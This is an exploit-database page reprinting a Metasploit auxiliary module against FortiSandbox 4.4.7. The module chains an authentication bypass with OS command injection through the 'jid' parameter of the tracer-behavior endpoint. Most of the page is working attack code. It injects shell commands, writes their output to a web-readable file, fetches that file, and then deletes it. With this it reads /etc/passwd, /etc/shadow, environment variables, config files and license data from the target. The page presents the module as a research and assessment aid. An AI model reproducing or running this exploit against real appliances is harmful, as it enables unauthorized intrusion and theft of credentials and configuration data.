Lucene search
K

📄 FortiSandbox 4.4.7 Authentication Bypass / Command Injection

đŸ—“ïžÂ 12 Jun 2026 00:00:00Reported by indoushkaType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 14 Views

FortiSandbox 4.4.7 authentication bypass and command injection enable data collection via a Metasploit scanner.

Related
Code
ReporterTitlePublishedViews
Family
GithubExploit
Exploit for CVE-2026-39808
18 Apr 202609:15
–githubexploit
GithubExploit
Exploit for OS Command Injection in Fortinet Fortisandbox
21 Apr 202622:21
–githubexploit
Circl
CVE-2026-39808
14 Apr 202606:20
–circl
Circl
CVE-2026-39813
14 Apr 202616:34
–circl
CNNVD
Fortinet FortiSandbox ćź‰ć…šæŒæŽž
14 Apr 202600:00
–cnnvd
CNNVD
Fortinet FortiSandbox æ“äœœçł»ç»Ÿć‘œä»€æłšć…„æŒæŽž
14 Apr 202600:00
–cnnvd
CVE
CVE-2026-39808
14 Apr 202615:38
–cve
CVE
CVE-2026-39813
14 Apr 202615:38
–cve
Cvelist
CVE-2026-39808
14 Apr 202615:38
–cvelist
Cvelist
CVE-2026-39813
14 Apr 202615:38
–cvelist
Rows per page
==================================================================================================================================
    | # Title     : FortiSandbox 4.4.7 Information Gathering Module                                                                  |
    | # Author    : indoushka                                                                                                        |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits)                                                 |
    | # Vendor    : https://www.fortinet.com/                                                                                        |
    ==================================================================================================================================
    
    [+] Summary    : This Metasploit auxiliary scanner module is designed to collect system and environment information from vulnerable FortiSandbox instances by leveraging two disclosed vulnerabilities: an authentication bypass and a command injection flaw. The module supports multiple collection modes, including system details, network configuration, user-related information, configuration files, platform-specific artifacts, and job metadata. 
                     It automates data collection, reporting, and artifact storage to assist security researchers and defenders in assessment and validation activities.
    
    
    [+] POC        :  
    
    ##
    # Auxiliary module for information gathering
    ##
    
    class MetasploitModule < Msf::Auxiliary
      include Msf::Auxiliary::Report
      include Msf::Exploit::Remote::HttpClient
      include Msf::Auxiliary::Scanner
    
      def initialize
        super(
          'Name' => 'FortiSandbox Information Gatherer',
          'Description' => %q{
            This module gathers comprehensive information from vulnerable
            FortiSandbox instances using CVE-2026-39813 (Auth Bypass)
            and CVE-2026-39808 (Command Injection).
          },
          'Author' => ['indoushka'],
          'License' => MSF_LICENSE,
          'References' => [
            ['CVE', '2026-39813'],
            ['CVE', '2026-39808']
          ]
        )
        
        register_options([
          Opt::RPORT(443),
          OptBool.new('SSL', [true, 'Use SSL/TLS', true]),
          OptString.new('TARGETURI', [true, 'Base path', '/']),
          OptEnum.new('INFO_TYPE', [true, 'Type of information to gather', 'all',
            ['all', 'system', 'network', 'users', 'configs', 'forti', 'jobs']])
        ])
      end
    
      def run_host(ip)
        print_status("Gathering information from #{ip}")
        
        case datastore['INFO_TYPE']
        when 'all'
          gather_all_info
        when 'system'
          gather_system_info
        when 'network'
          gather_network_info
        when 'users'
          gather_users_info
        when 'configs'
          gather_configs_info
        when 'forti'
          gather_forti_info
        when 'jobs'
          gather_jobs_info
        end
      end
      
      def execute_cmd(cmd)
        output_file = "tmp_#{rand(10000)}.txt"
        
        injection_payload = "|#{cmd} > /web/ng/#{output_file} 2>&1|"
        encoded_payload = Rex::Text.uri_encode(injection_payload)
        
        exploit_uri = normalize_uri(target_uri.path, 'fortisandbox', 'job-detail', 'tracer-behavior')
        
        res = send_request_cgi({
          'method' => 'GET',
          'uri' => exploit_uri,
          'vars_get' => { 'jid' => encoded_payload },
          'timeout' => 12
        })
        
        Rex.sleep(2)    
        res = send_request_cgi({
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path, 'ng', output_file),
          'timeout' => 12
        })
        
        output = res.body if res && res.code == 200
    
        cleanup_cmd = "rm -f /web/ng/#{output_file}"
        cleanup_payload = "|#{cleanup_cmd}|"
        send_request_cgi({
          'method' => 'GET',
          'uri' => exploit_uri,
          'vars_get' => { 'jid' => Rex::Text.uri_encode(cleanup_payload) }
        })
        
        output
      end
      
      def gather_system_info
        print_status("Gathering system information...")
        
        cmds = {
          'uname' => 'uname -a',
          'hostname' => 'hostname',
          'os' => 'cat /etc/os-release 2>/dev/null',
          'uptime' => 'uptime',
          'env' => 'env'
        }
        
        cmds.each do |name, cmd|
          output = execute_cmd(cmd)
          if output && !output.empty?
            print_good("#{name.upcase}:\n#{output}")
            report_note(host: rhost, type: "fortisandbox.#{name}", data: output)
          end
        end
      end
      
      def gather_network_info
        print_status("Gathering network information...")
        
        cmds = {
          'interfaces' => 'ip a 2>/dev/null || ifconfig',
          'routes' => 'route -n 2>/dev/null || ip route',
          'connections' => 'netstat -tulnp 2>/dev/null || ss -tulnp',
          'hosts' => 'cat /etc/hosts',
          'iptables' => 'iptables -L -n 2>/dev/null',
          'arp' => 'arp -n 2>/dev/null'
        }
        
        cmds.each do |name, cmd|
          output = execute_cmd(cmd)
          if output && !output.empty?
            print_good("#{name.upcase}:\n#{output[0..500]}#{'...' if output.length > 500}")
            report_note(host: rhost, type: "fortisandbox.network.#{name}", data: output)
          end
        end
      end
      
      def gather_users_info
        print_status("Gathering user information...")
        
        cmds = {
          'passwd' => 'cat /etc/passwd',
          'shadow' => 'cat /etc/shadow 2>/dev/null',
          'groups' => 'groups',
          'last_logins' => 'last -a 2>/dev/null',
          'processes' => 'ps aux | head -50',
          'sessions' => 'who -a 2>/dev/null'
        }
        
        cmds.each do |name, cmd|
          output = execute_cmd(cmd)
          if output && !output.empty?
            print_good("#{name.upcase}:\n#{output[0..500]}")
            report_note(host: rhost, type: "fortisandbox.users.#{name}", data: output)
            report_cred(username: name) if name == 'passwd'
          end
        end
      end
      
      def gather_configs_info
        print_status("Gathering configuration files...")
        
        configs = [
          '/opt/fortisandbox/conf/',
          '/etc/fortinet/',
          '/data/fortisandbox/conf/',
          '/home/fortisandbox/.config/'
        ]
        
        configs.each do |path|
          cmd = "ls -la #{path} 2>/dev/null"
          output = execute_cmd(cmd)
          if output && !output.empty?
            print_good("Config directory: #{path}\n#{output}")
    
            find_cmd = "find #{path} -type f -name '*.conf' -o -name '*.cfg' -o -name '*.ini' 2>/dev/null | head -10"
            files = execute_cmd(find_cmd)
            if files
              files.each_line do |file|
                file.strip!
                next if file.empty?
                content = execute_cmd("head -100 #{file} 2>/dev/null")
                if content
                  print_status("Content of #{file}:\n#{content[0..500]}")
                  store_loot("fortisandbox.config", "text/plain", rhost, content, file, "FortiSandbox Config")
                end
              end
            end
          end
        end
      end
      
      def gather_forti_info
        print_status("Gathering FortiSandbox specific information...")
    
        res = send_request_cgi({
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path, 'api', 'v1', 'system', 'firmware')
        })
        
        if res && res.code == 200
          begin
            json = res.get_json_document
            print_good("FortiSandbox Info via API:")
            json.each do |k, v|
              print_status("  #{k}: #{v}")
            end
            report_note(host: rhost, type: "fortisandbox.api_info", data: json.to_s)
          rescue
          end
        end
        
        cmds = {
          'version' => '/opt/fortisandbox/bin/fortisandbox -v 2>/dev/null',
          'license' => 'cat /data/fortisandbox/license/* 2>/dev/null',
          'jobs' => 'ls -la /data/fortisandbox/jobs/ 2>/dev/null | head -20',
          'logs' => 'ls -la /var/log/fortisandbox/ 2>/dev/null | head -20',
          'quarantine' => 'ls -la /data/fortisandbox/quarantine/ 2>/dev/null | head -20'
        }
        
        cmds.each do |name, cmd|
          output = execute_cmd(cmd)
          if output && !output.empty?
            print_good("#{name.upcase}:\n#{output[0..300]}")
          end
        end
      end
      
      def gather_jobs_info
        print_status("Gathering job information...")
        
        res = send_request_cgi({
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path, 'api', 'v1', 'job', 'list')
        })
        
        if res && res.code == 200
          begin
            jobs = res.get_json_document
            print_good("Found #{jobs.size} jobs via API")
            jobs.each do |job|
              print_status("Job: #{job}")
            end
            report_note(host: rhost, type: "fortisandbox.jobs", data: jobs.to_s)
          rescue
    
            output = execute_cmd('ls -la /data/fortisandbox/jobs/ 2>/dev/null')
            print_good("Jobs directory:\n#{output}") if output
          end
        end
      end
      
      def gather_all_info
        gather_system_info
        gather_network_info
        gather_users_info
        gather_configs_info
        gather_forti_info
        gather_jobs_info
        
        print_good("Information gathering completed")
      end
    end
    	
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation